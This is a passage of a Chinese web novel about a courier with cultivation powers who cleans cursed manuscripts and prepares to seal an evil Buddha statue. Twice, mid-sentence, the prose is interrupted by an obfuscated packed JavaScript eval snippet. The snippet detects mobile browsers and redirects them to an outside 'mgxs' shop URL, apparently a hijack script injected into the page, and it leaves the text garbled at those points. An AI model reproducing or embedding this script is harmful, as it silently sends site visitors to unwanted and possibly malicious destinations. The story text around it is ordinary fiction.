回到电瓶车上,他松了口气。这单虽然波折,但钱拿到了。只是心里总有点异样感。秦先生划那一下……真那么巧,就划在了唯一有破绽的地方?还是说,他早就知道那里有问题? “仙尊,你说那个秦先生,会不会也是……”苏明发动车子,在脑海里问。 “此人身上并无灵力波动,应是凡人。”凌虚子道,“但其眼力、见识,或非常人。至于那花瓶……其上的阴刻符纹虽拙劣,却非世俗仿古工匠手段。此事背后,或许另有隐情。不过,与你我无关,不必深究。” 苏明想想也是。他就是个送快递的,真假古董纠纷,离他太远。 然而,晚上回到家,准备修炼时,手机收到条来自陌生号码的短信: “苏先生,今日之事,多谢。花瓶确为仿品,但其上暗藏‘蚀灵纹’,长期接触有害。钱三(藏珍阁老板)牵扯进一些不干净的事,此瓶是有人故意卖给他的。你今日送货,无意中破了一局,或许已引人注意。近日小心,若遇异常,可联系此号码。——秦守仁” 苏明盯着短信,愣住了。 蚀灵纹?不干净的事?破局? 他想起钱老板打电话时提到的“七爷”,还有凌虚子说的“阴刻符纹”…… 这看似普通的一单古董快递,似乎也没那么普通。 “仙尊,‘蚀灵纹’是什么?” “一种阴毒符纹,可缓慢侵蚀接触者的精气神,使人精神萎靡,运势低迷,久之甚至伤及根本。多用于阴损害人之法。”凌虚子声音转冷,“以此纹做旧,伪装古玩,害人于无形,倒是歹毒。” 苏明背后冒冷汗。自己今天搬运了那花瓶那么久……还好时间短,而且有灵气护体? “秦守仁既能认出‘蚀灵纹’,又提醒于你……此人,恐非凡俗古玩商那么简单。”凌虚子沉吟,“他或许也是此道中人,只是修为已至返璞归真之境,或佩戴了遮掩气息的宝物。” 苏明看着那个陌生号码,犹豫一下,回复了两个字:“谢谢。” 对方没再回复。 苏明放下手机,看向窗外沉沉夜色。城市光鲜亮丽表象之下,到底隐藏多少不为人知的暗流? 送快递,似乎也越来越不只是一个简单的体力活了。 7. 涤尘术的妙用与新委托 秦守仁的警告短信像根细刺扎在苏明心里。蚀灵纹,害人的东西,自己还亲手搬了一路。虽然凌虚子检查后说他接触时间短,有微末灵气护体,并无大碍,但那种后怕感挥之不去。 “仙尊,这‘涤尘术’能清除蚀灵纹吗?”苏明把玩指尖一缕淡蓝水汽。 “难。”凌虚子回答干脆,“蚀灵纹阴毒,需以阳火或纯阳之力方能涤荡干净。‘涤尘术’乃水行变种,擅去污秽,却难克阴邪。不过,若只是沾染的些微阴气、晦气,倒可清除一二。” 苏明不气馁。技多不压身,这“涤尘术”就算不能驱邪,用来搞卫生、处理快递异味也极好。他甚至开始盘算,能不能开发“深度清洁古董”、“快速去味生鲜”之类的特色服务。 接下来两天,苏明过得相对平静。白天专心送快递,巩固炼气二层修为,晚上在聚灵阵中修炼,跟凌虚子学更多实用技巧——比如精细操控灵气探查物品(鉴宝低配版),用少量灵气暂时增强目力(夜视低配版),以及“涤尘术”几种变种应用。 他试过用“涤尘术”清理厨房顽固油污(效果显著),清洁布满灰尘的空调滤网(省时省力),甚至想给养魂木盒子做“SPA”(被仙尊严词拒绝,表示此乃对上古养魂木的亵渎)。 就在苏明以为“蚀灵纹”风波会慢慢过去时,第三天下午,一个新特殊订单,以意想不到的方式将他再次卷入类似漩涡。 订单类型:专项清理(特殊污渍处理) 取件/服务地址:南城新区,“墨韵斋”书画装裱工作室。 服务内容:工作室近期接收一批受潮古籍进行抢救性修复,但部分书页沾染难以清除的顽固霉斑与异味,常规化学清洗剂效果不佳且可能损伤纸纤维。现寻求有特殊清洁能力者尝试处理。需现场操作,按处理效果及数量计酬。备注:要求清洁过程对古籍纸张损害降至最低,且不能留下化学残留或异味。曾尝试超声波、低温等离子等技术,均不理想。如有家传古法或特殊技艺者优先。联系人:徐师傅(电话:138xxxx7890)。预估费用:单页100-500元,上不封顶。 “古籍修复?顽固霉斑?”苏明心思活络。“涤尘术”能清除污秽异味,对纸张损伤小,无化学残留,正好完美契合需求。 “仙尊,涤尘术对付古籍霉斑怎么样?” “古籍乃凡物,年久受潮生霉,其污秽本质与寻常尘土无异,只是更深嵌入纤维。‘涤尘术’以水汽震荡,由内而外涤荡,或可有效。但需控制灵力输出,过强恐伤脆弱纸页。”凌虚子分析,“可一试。此亦为历练灵控精微之良机。” 有了仙尊背书,苏明立刻接单,联系“徐师傅”。电话那头是个声音温和但透着疲惫的中年男人,简单询问苏明是否了解古籍特性、有无相关经验后,约他下午三点到工作室面谈。 “墨韵斋”位于南城新区闹中取静的文化创意园,门面不大,装修雅致,透着浓浓书卷气。推门进去,一股混合宣纸、糨糊、旧墨和淡淡霉味的复杂气息扑面而来。 店里摆着不少装裱好的字画,里间工作台堆满各种工具和待修复卷轴。一个戴眼镜、系围裙、手上沾着糨糊的中年男人迎出来,是徐师傅。 “您是迅风快递的苏师傅?”徐师傅有些惊讶地看着苏明年轻的脸,“电话里听声音挺沉稳,没想到这么年轻。” “徐师傅好,是我。对古籍清洁有些家传土法子,想试试看。”苏明早就想好了说辞。 徐师傅将信将疑,领他来到里间一个独立工作台前。台上铺着柔软白色羊毛毡,上面放着几页泛黄发黑、布满深褐色霉斑和奇怪暗红色污渍的古籍残页,纸张脆弱得一碰就碎,散发一股令人不适的陈腐霉味,其中似乎还夹杂着一丝难以形容的腥气。 “就是这几页。”徐师傅指着残页,眉头紧锁,“是从一个老乡手里收的,说是祖传医书,埋老宅地窖受了潮。别的部分还好处理,就这几页,霉斑特别顽固,还带着这种奇怪红色污渍,试了好几种方法都去不掉,反而有扩散迹象。而且这味道不像是普通霉味。” 苏明凑近仔细看。霉斑还好说,那些暗红色污渍分布毫无规律,有的像溅上去的斑点,有的像干涸后痕迹,颜色暗沉,透着一股不祥。 他悄悄运转一丝灵力至双目,开启“灵目术”。在灵气微微加持下,视力更敏锐,能看到更细微纹理和色彩变化。 这一看,让他心头一跳。 那些暗红色污渍深处,隐隐有极其微弱、阴冷的能量残留,与周围正常的纸张纤维格格不入。那股淡淡腥气,在灵力感知下也变得清晰一些——不是霉味,更像是陈年血腥气?但又混杂着别的东西。 “仙尊?”苏明在心中呼唤。 “嗯……有古怪。”凌虚子神识扫过,“霉斑寻常,但那暗红污渍残留着极淡的阴怨之气与某种腐朽药力?似是经年血渍,又混合了特殊药物,渗入纸中,与霉斑结合,形成了某种‘污秽之印’。难怪寻常手段难清除。‘涤尘术’或可去除表面霉斑,但对这阴怨药渍,效果恐不佳。” 苏明心中了然。这古籍恐怕不只是受潮那么简单。但他没点破,对徐师傅说:“徐师傅,这几页纸情况特殊,霉斑和污渍已深入纤维。我的方法需一点时间,且需绝对安静,不能有人打扰。您看……” 徐师傅见他说得认真,且点出“污渍深入纤维”这个专业问题,态度认真几分:“可以,隔壁有个小静室,平时处理特别珍贵的画芯,隔音很好。你需要什么工具?我去准备。” “不需要特殊工具,我自己带了‘药水’。”苏明拍了拍随身斜挎包,里面其实只有一瓶矿泉水(掩饰用)和几样杂物,“只需要一个平整台面和好光线。” 徐师傅虽疑惑,但带他去了隔壁静室。房间不大,只有一张宽大实木工作台和一盏专业无影灯。徐师傅离开后,苏明关上门,反锁。 他将一页残页轻轻铺在台面上,先没用灵力,仔细观察那些暗红色污渍分布。有些污渍边缘,似乎能看到极淡的、类似符文的扭曲痕迹,但被霉斑和岁月侵蚀得几乎无法辨认。 “仙尊,如果‘涤尘术’不行,有别的办法吗?总不能看着古籍毁了。”苏明问道。他倒不是多心疼古籍,主要是想赚这笔钱,顺便验证自己手段。 “若只是清除,倒也简单。”凌虚子道,“你新得的‘地火精粹石’研磨粉末,混合纯阳之物(如烈酒或公鸡血),以灵气激发,可化去这阴怨药渍。但此法刚猛,恐伤及纸张。稳妥之法,是以精纯灵气,配合‘涤尘术’水润之意,徐徐浸润、剥离、净化。此法耗时耗力,但最稳妥。” “那就用稳妥法子。”苏明不想冒险毁东西,赔钱事小,砸招牌事大。 他凝神静气,运转丹田灵力,缓缓引导至右手掌心。一缕淡蓝的、肉眼几乎看不见的水汽氤氲浮现,带着涤荡污秽的清新之意。他没有像之前清洁袜子那样直接笼罩,而是将水汽凝聚成极细一缕,如同最精微的毛笔尖,小心翼翼探向一处霉斑与红渍交界的地方。 灵气细丝接触纸面,苏明全神贯注控制震荡频率与强度。既要保证足够力量分解霉斑和污渍中的阴怨能量,又要轻柔得不伤及脆弱纸张纤维。 这是个极其精细的活。很快,苏明额头渗出细密汗珠。他感到灵力在快速消耗。 时间一分一秒过去。那一小片区域,在灵气细丝的缓慢“清洗”下,深褐色霉斑渐渐淡化、消失,露出了下面原本泛黄的纸张。暗红色污渍则像是遇到了克星,颜色一点点变浅,那股阴冷气息也随之消散。 大约十分钟后,那一小块不到指甲盖大小的区域,恢复了相对洁净的状态,只留下纸张本身自然的岁月黄,以及一些无法完全消除的、已经与纤维融合的淡黄色印记。 有效!但效率太低!照这速度,清理完一页纸,他得累趴下。 苏明停下手,喘了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356215|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,擦汗。他意识到,“涤尘术”虽对症,但控制力不够精细,导致灵力浪费严重,且速度太慢。 “仙尊,有办法提效率?或者,先重点清除暗红污渍?我感觉它们才是关键,霉斑像附带品。” “有。”凌虚子肯定道,“你初学乍练,灵力运转不够精微。可尝试先将灵力凝聚于指尖,以‘点’破‘面’,专注于污渍核心的阴怨能量节点。找到其能量最凝集处,一举击破,则其余附着污秽自易清除。此需更强感知,你且静心凝神,细细感应。” 苏明依言,闭眼,放缓呼吸,将仅存灵力更多集中到指尖,放大灵目术感知。在他“感知”中,纸张上那些暗红色污渍,不再仅仅是颜色,而是一个个散发微弱阴冷气息的“斑点”。这些斑点中心,似乎有个更晦暗、更凝实的“点”。 就是那里! 他再次出手,这次不再大范围覆盖,而是将灵力凝聚成针尖大小,精准刺向那个阴冷的“点”。 “嗤……” 一声微不可查的轻响,仿佛冷水滴入热油。那暗红色污渍中心,一丝极淡黑气逸散,随即被苏明指尖萦绕的涤尘水汽净化。整个污渍斑点的颜色以肉眼可见的速度迅速变浅、扩散,最终与周围霉斑一起,在后续柔和灵力震荡下,化为微不可查的尘埃,被水汽包裹轻轻拂去。 效率提升数倍!灵力消耗反而减少! 苏明精神一振,如法炮制。找准一个污渍核心点,精准“破点”,然后涤荡周围。很快,一页残页上的顽固霉斑和暗红污渍被清理得七七八八,虽然纸张本身因年代久远无法恢复如新,但那种令人不适的阴冷气息和陈腐霉味已然消失,只留下古籍应有的、带着墨香和岁月感的淡淡气味。 看着劳动成果,苏明松了口气,同时感到深深疲惫。这一页纸清理下来,几乎耗尽他炼气二层大半灵力。但效果也显著。 他休息半小时,运转功法恢复一些灵力,打开门,将清理好的那一页纸拿给外面焦急等待的徐师傅看。 徐师傅戴白手套,拿放大镜和高光手电,几乎把脸贴纸上,反反复复看了好几遍,越看眼睛瞪越大。 “这……这怎么可能?!”他声音变了,“霉斑真的没了!那些红渍也淡了这么多!而且纸张纤维几乎没有任何损伤!这什么技术?超声波和低温等离子都做不到这么干净又不伤纸!” “家传古法,用药水配合特殊手法,一点点浸润剥离的。”苏明含糊解释,“就是太耗神,速度慢。像这一页,我得处理小半天。” “慢不怕!效果好就行!”徐师傅激动起来,指着工作台上另外几页,“苏师傅,不,苏先生!您看,这几页您能处理吗?价钱好商量!按页算,不,按难度算!这一页,给您八百!不,一千!” 苏明看徐师傅激动的样子,又看剩下那四五页状况更糟的残页,心中快速盘算:一页一千,五页五千。虽然耗神,但收入可观,而且能锻炼灵力操控,还能验证自己这“特殊清洁”能力。 “可以试试。但今天我只能再处理一页,这手法太耗心神。”苏明露出“疲惫”表情。 “好好好!您先休息!喝点茶!”徐师傅连忙把他请到外面喝茶,自己则捧着那页清理好的残页,爱不释手,嘴里不停念叨着,“神了,真是神了这手艺……” 苏明一边喝茶恢复灵力,一边听徐师傅奉承,心里想着更深层问题:这几页“医书”残页,为什么会沾染混合阴怨之气和特殊药力的血渍?它们原本记载什么内容?卖书的“老乡”,知不知道这东西蹊跷? 还有,秦守仁短信里提到的“蚀灵纹”,和这几页纸上的阴怨血渍,有关联?难道城市里暗中流通不止一种用“非常规”手段做旧或污染的古物? 他隐隐感觉,自己正透过“快递员”和“特殊清洁工”的身份,窥见一条隐藏在城市文明之下的、浑浊而危险的暗流。 而这条暗流,或许比他想象的,还要深急。 8. 特殊订单与“不洁之物” 接下来的几天,苏明过得异常充实。白天穿梭大街小巷送快递,靠《踏云步》带来的效率稳中有升。晚上雷打不动在聚灵阵中修炼,巩固炼气二层,尝试将“涤尘术”玩出更多花样。 徐师傅那边的古籍清洁进展顺利。在苏明“耗神费力、一天只能处理一页”的限定下,他以每页一千二的价格(徐师傅主动加价)又清理了三页残卷。不仅赚了三千六,更重要的是对灵力精细操控能力肉眼可见提升。现在施展“涤尘术”,已能大致控制清洁范围和强度。 随着三页残卷清理,更完整的、令人不安的图景逐渐浮现。 这几页“医书”内容极其古怪,非寻常方剂针灸,记载着用诡异材料(“子时坟头土”、“三年以上乌鸦眼”、“难产妇人血”)混合炼制“祛病符水”、“驱邪香囊”的邪门方子。文字间充满迷信阴森描述,怎么看都不像正经医书,倒像某种巫术或邪道术法残篇。 那些暗红色污渍,经凌虚子仔细感应,确认是“混合了微量怨念的精血”,且非一人之血,似乎来自多个饱含痛苦与恐惧的个体。精血中混杂的“腐朽药力”,与残卷上记载的几种阴邪药材对得上号。 “此非医书,乃邪术残篇,且是血祭邪术。”凌虚子声音凝重,“以生灵精血怨念为引,辅以阴邪药材,炼制害人之物。这几页沾染的血渍,恐是炼制失败或施术时溅上。此书留之不祥。” 苏明深以为然。清理最后一页时,他故意留下一小角相对不重要、污损最严重的角落没处理,推说“此地污秽已深入纸髓,强行为之恐毁载体”,并“强烈建议”徐师傅将清理好的部分单独存放,最好用檀木盒或玉盒收纳,剩下实在无法处理的“忍痛焚毁,以绝后患”。 徐师傅对苏明近乎信服,虽心疼残卷,但更怕邪门东西带来晦气,便依言将清理好的几页用上好仿古锦缎包好,放入老檀木匣,而将苏明故意留下的那一角及另外两页污损太严重、苏明表示“无能为力”的残页,在院子里小心焚化。烧时火焰呈诡异青绿色,还发出轻微噼啪爆响,把徐师傅吓得不轻,对苏明更是千恩万谢。 这事也让苏明更加警惕。都市里隐藏的“不干净”东西,远不止“蚀灵纹”花瓶一种。以后接类似“特殊清洁”或“古物处理”订单,必须加倍小心。 这天下午,苏明刚送完老旧小区快件,手机响了。不是订单提示,是秦守仁发来的短信。 “苏先生,近日可好?冒昧打扰。听闻‘墨韵斋’徐师傅处,有几页棘手古籍被一位年轻高手处理妥当,想来便是苏先生手笔。秦某有一事相求,不知苏先生今晚是否有暇,来寒舍一叙?地址:御景天成69号。若蒙不弃,七点恭候。秦守仁。” 苏明看着短信,眉毛一挑。秦守仁消息挺灵通,这么快就知道。用“相求”和“恭候”,姿态放很低。 “仙尊,去吗?” “此人虽为凡人,但见识不凡,且似对阴邪之物颇有了解。他主动相邀,或许与蚀灵纹或那血渍古卷有关。可一去,但需谨慎。”凌虚子分析,“你如今炼气二层,又有火煞符与涤尘术傍身,只要不遇真正修士,自保应是无虞。” 苏明想了想,回复:“好的,秦先生,晚上七点见。” 傍晚六点半,苏明再次来到御景天成别墅区。熟门熟路到69号,秦守仁亲自在门口等候。他换一身藏青色中式褂子,气质儒雅,但眉宇间多了一丝忧色。 “苏先生,请进。”秦守仁将他引入别墅。这次没去客厅,直接上二楼书房。 书房很大,四面都是顶天立地红木书架,摆满各式古籍、拓片和文玩,空气弥漫淡淡檀香和旧书特有气味。靠窗处有张宽大书案,铺着毡子,摆文房四宝,还有盏造型古雅的青铜灯。 “苏先生请坐。”秦守仁亲自泡茶,是上好龙井。两人在书案旁黄花梨木椅落座。 寒暄几句,秦守仁切入正题:“苏先生,上次花瓶之事,多谢提醒。钱三那边,我已通过其他渠道敲打,他背后那位‘七爷’,近期应会收敛。”他顿了顿,看苏明,“此次冒昧相邀,实是有一件棘手之物,想请苏先生援手。” “秦先生请讲。” 秦守仁起身,从书案下暗格取出一个扁平的、一尺见方的紫檀木匣。木匣做工极其考究,边角包錾花银饰,正面雕刻繁复云纹,但云纹中隐约可见扭曲的、类似符咒纹路。 他将木匣放书案上,却没立刻打开,面色凝重道:“此物,是我月前从一位南洋回来的老友处所得。据他说,是从暹罗一座荒废古庙中,于佛像底座下发现。当时被多层油布和符纸包裹。老友酷爱收藏佛像,便带回。起初无异常,但半月前开始,靠近此物之人,皆会莫名心悸、多梦、精神恍惚。老友自己更是日渐消瘦,医药无效。他疑心是此物作祟,便辗转送到我这儿,希望我帮忙看看。” 秦守仁深吸一口气,缓缓打开木匣。 匣内衬暗红色丝绒,上面静静躺着一尊……佛像? 那是一尊高约二十厘米的坐佛,材质非金非玉,似铜似石,表面覆盖一层厚厚的、颜色暗沉的包浆,几乎看不清本来面目。佛像造型古朴,甚至粗陋,但那双半阖的眼睛雕刻得异常传神,透着一种说不出的诡异感——不是慈悲,也不是庄严,是一种漠然的、仿佛俯视众生的冰冷。 苏明在看到佛像的瞬间,就感到胸口檀木盒子里的凌虚子,元婴光团猛地一颤。 “小心!此物大凶!”凌虚子声音带着前所未有的警告,“非是佛像,是‘邪祟假借佛形’!其内封印着极强烈的怨念与阴煞之气,且被人以邪法祭炼过,已成‘阴蚀之器’!长期靠近,轻则精气亏耗,重则神智受损,性命堪忧!” 苏明心中一凛,表面不动声色,微微蹙眉,凑近些仔细观察(同时暗中运转灵目术)。在灵力加持视野下,那佛像表面萦绕一层浓得化不开的灰黑色气息,不断扭曲翻滚,隐隐有凄厉嘶嚎声直接冲击心神!佛像底座下方,更刻着密密麻麻的、如同活物般蠕动的诡异符文! “秦先生,恕我直言。”苏明收回目光,语气严肃,“您这位老友,恐怕不是从‘荒废古庙’找到这东西。它煞气极重,是件害人邪物,绝非寻常供奉之物。” 秦守仁苦笑:“苏先生果然慧眼如炬。不瞒你说,我也看出此物不妥。我用尽办法,甚至请了寺里高僧来看,高僧只道‘怨念深重,非寻常经文可度’,建议深埋或投入火山。但……”他叹气,“此物似乎与寻常阴邪之物不同,它在‘吸收’周围的‘气’。我将其置于这特制紫檀盒中,盒内刻有安神静心符纹,又燃上檀香,才能勉强压制。但即便如此,靠近它的人还是会受影响。我那老友,如今已卧病在床,医院查不出病因。” 他看苏明,目光灼灼:“苏先生能处理那蚀灵纹花瓶,又能净化古籍上连超声波都奈何不了的阴怨血渍,想必身怀异术。秦某斗胆,想请苏先生试试,能否化解此物戾气?或者,至少将其封镇,不再害人。报酬方面,苏先生尽管开口。” 苏明沉默。这佛像给他的感觉,比蚀灵纹花瓶和血渍古籍加起来还危险十倍不止!凌虚子都说“大凶”,自己这点微末道行,上去不是送菜吗? “仙尊,有办法吗?”他在心中急问。 “难。”凌虚子声音凝重,“此物已成气候,内蕴怨煞非比寻常。以你目前修为,靠近都有被侵蚀心神之危。若要化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356216|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,需以纯阳真火煅烧,或以高深佛法超度。若要封镇……或许可借助星髓之力,配合特定阵法。但无论哪种,都非你眼下能独立完成。” 苏明想了想,对秦守仁道:“秦先生,此物凶险远超之前那两样。我确有些家传手段,但不敢保证能处理。我需要准备一些东西,而且处理过程中风险极大,一旦失控,后果不堪设想。” 秦守仁闻言,非但没失望,反而眼睛一亮:“苏先生肯援手,秦某感激不尽!需要什么材料、器具,您尽管说,我这就去准备!风险我们共同承担,一切后果,秦某一力承当!只要能救我老友,化解此厄,报酬绝不让苏先生失望!” 看他态度坚决,救友心切,苏明沉吟片刻,道:“我需要纯度高的朱砂、上好狼毫笔、至少十年以上陈年糯米、还有一块未经雕琢的羊脂白玉籽料,不用太大,但质地要纯净温润。另外,准备一间绝对安静、不受打扰的静室,室内不能有任何金属器物。时间定在三日后子时,那时阴气最盛,也是此物力量外显最明显之时,或许能找到其破绽。” 秦守仁听得极其认真,连连点头,拿出纸笔记下。“朱砂、狼毫、糯米都好办。羊脂白玉籽料我正好收藏有一块,质地极佳,我这就去取来。静室也好安排,我别墅的地下收藏室,做了隔音防潮,里面没有金属物品。三日后子时,我在此恭候苏先生!” 敲定细节,苏明没久留,带着秦守仁预付的五千块“材料筹备费”离开别墅。秦守仁坚持要给,说不能让苏明破费。 回去路上,苏明心情沉重。 “仙尊,三天时间,我们真的能搞定那东西?” “单凭你我,绝无可能彻底化解。”凌虚子实话实说,“但若只是暂时封镇,争取时间,或有可为。本座需借星髓之力,布下‘小封灵阵’,再以羊脂白玉为阵眼,朱砂混合你的精血绘制封镇符纹,或可将其戾气封禁于玉中一段时间。但此法治标不治本,且封镇期间,需定期以灵力加固。另外……” 凌虚子顿了顿:“子时阴气最盛,亦是此物最活跃之时。封镇过程必遭反噬,你需小心。此外,那秦守仁……” “他也有问题?”苏明心一提。 “此人身上仍无灵力,但对阴邪之物见识广博,家中陈设看似普通,实则暗合某些镇宅安神的古法布局。他求治此物心切,情真意切,不似作伪。但其所言‘南洋老友’、‘荒废古庙’,恐未尽其实。此物来历,或许比他说的更复杂。”凌虚子缓缓道,“不过,他既求助于你,短期内应无害你之心。且借他之手收集材料,也省却我们许多麻烦。” 苏明点头。秦守仁这个人,神秘,但目前为止表现磊落。眼下最重要的,是应对三天后的封镇。 “仙尊,封灵阵和封镇符纹,难学吗?” “阵图与符纹本座可传授于你,但需你亲手绘制,且需灌注精血与星髓之力。这三日,你需全力巩固修为,提升灵力操控精度。届时,容不得半分差错。” “明白。”苏明深吸一口气,眼中露出坚定。危险与机遇并存,处理这尊邪佛固然凶险,但报酬定然丰厚,也是一次难得的、检验所学、直面真正“超自然威胁”的机会。 他拧动车把手,加速朝出租屋驶去。 夜色中,城市灯火璀璨。但在某些不为人知的角落,古老的邪恶与现代文明,正在悄然碰撞。 而他,一个兼职修真者的快递员,即将亲手去触碰那冰冷的火焰。 手机震动,新订单提示音响起。 苏明瞥了一眼,是个普通文件加急件。他笑了笑,没立刻接单。 今晚,得先回去好好修炼,为三天后的“大单”做准备了。 9. 封镇邪佛(上) 接下来的三天,苏明过上了近乎苦行僧的生活。 白天依然送快递维持生计,但将大部分普通订单换成了路线固定、耗时短的“跑腿”单,节省体力和时间。晚上几乎全部泡在聚灵阵中,在凌虚子严厉指导下,进行高强度修炼与“考前突击”。 “阵图须了然于心,每一笔落处,关乎灵机流转,差之毫厘,谬以千里!”凌虚子元婴光团悬浮半空,投射出一幅由光线构成的、异常繁复的立体阵图。那是“小封灵阵”的阵纹,由三百六十个基础符文节点构成,按天罡之数排列,彼此勾连,层层嵌套。 苏明盘坐阵中,双目紧闭,眉头紧锁,全部心神沉浸在识海中临摹阵图。这比他之前学的“小周天聚灵阵”复杂十倍不止。不仅要记形状,更要理解每个节点作用、灵气输入输出路径、节点间能量共振关系。 “此处‘震’位节点,需引雷属星力,但星髓之力中正平和,需以‘离火’符文转化……不对,离火过烈,应用‘巽风’疏导……”苏明喃喃自语,额角青筋跳动。这比大学时的高等数学和电路原理加起来烧脑。 “静心!阵法之道,首重悟性,次重耐心。你既有推演之能,当善用之。”凌虚子声音严肃,但带着一丝期待。苏明在“大数据分析”和现代逻辑思维方面的特长,在理解阵法结构原理时展现出优势——他能将复杂阵图拆解成模块化的“功能单元”,用流程图思路理解能量流转,虽然初时晦涩,但一旦理解,记忆和应用反而更快。 除了阵图,还有封镇符纹。那是要绘制在作为阵眼的羊脂白玉上的核心符文,名为“镇岳封灵纹”。此纹至阳至刚,对绘制者的精气神消耗极大,需一气呵成,中间不能有丝毫停顿或灵力不继。 苏明用普通宣纸和朱砂练习了不下百次。开始总是画到一半就头晕眼花,灵力耗尽。后来凌虚子教他将神识(虽然微弱)与灵力结合,以神驭气,以念导纹,才渐渐摸到门道。但真正的挑战,是要用混合了自己指尖精血的“封灵墨”来画,而且要在子时阴气最盛、邪佛躁动时顶着压力完成,又是另一回事。 “精血乃生机所系,不可轻用。此次绘制,你需在落笔前服下‘清心丹’,并提前汲取星髓之力充盈丹田。绘制时,需忘我无我,心神与符文合一。”凌虚子谆谆告诫。 三天时间,在紧张准备中飞速流逝。苏明修为在聚灵阵和高压修炼下又精进一步,对灵力操控越发精细。他能让“涤尘术”水汽凝聚成细线,精准穿入锁孔清理灰尘,也能勉强让一丝灵气离体三寸,持续几个呼吸。 第三天傍晚,苏明最后一次检查准备物品:一小瓶用朱砂、陈年糯米粉、公鸡冠血(秦守仁提供)及自己三滴指尖精血调制的暗红色“封灵墨”;一支新狼毫笔;三张火煞符贴身放好;最重要的——贴身口袋里,软布包裹的星髓。 凌虚子寄身在养魂木盒中,状态比之前凝实些许,连续几日调动神识教导苏明,对他也是不小消耗,但他表示关键时刻足以提供必要支援。 晚上十点半,苏明准时来到御景天成69号。 秦守仁早已在门口等候,今天他穿一身深灰色中式长衫,神色凝重,眼下有明显青黑,显然这几日未曾安寝。他身边还站着一个穿黑色唐装、头发花白、面容严肃的老者,手里提着沉重的老式皮箱。 “苏先生,您来了。”秦守仁迎上,声音有些沙哑,“这位是吴师傅,我专门请来帮忙护持现场的。吴师傅是传统武术和道家养生法传人,对调理气场有些心得。” 吴师傅没说话,对苏明微微颔首,目光如电,在苏明身上扫过时,眉头几不可查地皱了一下,似乎察觉到什么,但未多说。 “秦先生费心。我们直接去静室。”苏明点头致意。 秦守仁领二人来到别墅地下层。这里确实是他所说的收藏室兼静室。面积约五十平米,四面墙壁和天花板覆盖深色吸音软包,地面铺厚羊毛地毯。室内无窗,照明是嵌入天花板的柔光带,光线均匀温和。空气流通靠隐藏通风系统,几乎听不到声音。 室内陈设极简,只有正中央摆一张宽阔的黄花梨木供桌,桌上铺明黄色绸布。那紫檀木匣此刻就放在供桌中央。除此之外,室内再无他物,不见任何金属物品。 离木匣尚有数米,苏明就感到阴冷气息扑面而来,比上次在书房感觉到的更明显活跃。室内温度似乎比外面低几度。 秦守仁脸色白了白,强自镇定:“苏先生,吴师傅,接下来拜托二位。我在门外等候,有任何需要,随时叫我。”他显然不愿在室内久待。 吴师傅打开皮箱,里面是一些罗盘、铜钱、桃木剑、符纸等物事。他先在室内四个角落各贴一张黄符,然后用红绳和铜钱在供桌周围布下简单的“警戒圈”,最后手持桃木剑,肃立于供桌侧后方,对苏明沉声道:“苏小友,老夫在此为你护法,隔绝外扰。你放手施为即可。”他看苏明的眼神多了几分探究和凝重。 苏明知道吴师傅恐怕也非寻常人,至少是触摸到“气”之境界的武者或修行者,能模糊感应自己身上的灵气波动。他不再多言,对吴师傅点头,走到供桌前。 时间,晚上十一点整。距离子时阴气最盛,还有一小时。 苏明没立刻动手。他先盘膝在供桌前地毯上坐下,闭目调息,运转《玄天吐纳真解》,将状态调整到最佳。同时,胸口檀木盒中的凌虚子也开始悄然引动星髓之力,一丝精纯温和的星力缓缓注入苏明体内,补充他连日消耗的精气神。 吴师傅在一旁看得暗自点头。他虽看不透苏明具体修习何法,但能感觉到这年轻人坐下后周身气息沉凝,隐隐与周围环境融为一体,那份定力绝非寻常年轻人能有。 半小时后,苏明睁眼,眸中精光湛然。他起身,从怀中取出准备物品,一一摆在供桌空处。 然后,他伸出右手,食指指尖在特制小刀上轻轻一划,挤出三滴鲜红血珠,滴入“封灵墨”。血液与墨汁混合,发出轻微“滋滋”声,随即完全融合,墨色更深沉内敛,隐隐有光华流转。 子时将近。 供桌上的紫檀木匣,忽然毫无征兆地轻轻震动一下! “咚……” 一声闷响,仿佛有什么东西在里面敲击匣壁。 吴师傅脸色一变,手中桃木剑握紧几分,低喝:“时辰将至,阴物躁动!苏小友,小心!” 苏明心无旁骛,仿佛没听到那声响。他拿起狼毫笔,笔尖蘸饱混合自己精血的“封灵墨”。 就在此时—— “咔哒。” 紫檀木匣的搭扣,自己弹开了! 匣盖缓缓向上掀起一道缝隙,更浓烈冰寒的阴煞之气如同实质般汹涌而出!室内柔和的灯光瞬间暗淡,温度骤降!供桌明黄色的绸布无风自动,边缘竟开始泛起焦黑颜色! 吴师傅须发皆张,口中念念有词,手中桃木剑朝着木匣方向虚劈,一层淡淡的、肉眼难见的清光从他身上和四周黄符上升起,勉强抵挡阴煞之气扩散,但他额头青筋暴露,显然压力巨大。 木匣中,那尊诡异的邪佛像,半阖的双目似乎睁开了一条缝隙! 冰冷、漠然、充满恶意的视线,瞬间锁定了手持毛笔的苏明! 苏明浑身汗毛倒竖,如坠冰窟,一股难以言喻的恐惧和绝望感从心底滋生,仿佛要被那目光吞噬、同化!手中毛笔重如千斤,几乎握持不住! “守住灵台!莫为外魔所慑!”凌虚子声音如同惊雷,在苏明脑海中炸响,同时,一股精纯浩大的星力从他胸口汹涌注入,瞬间驱散那股寒意和恐惧! 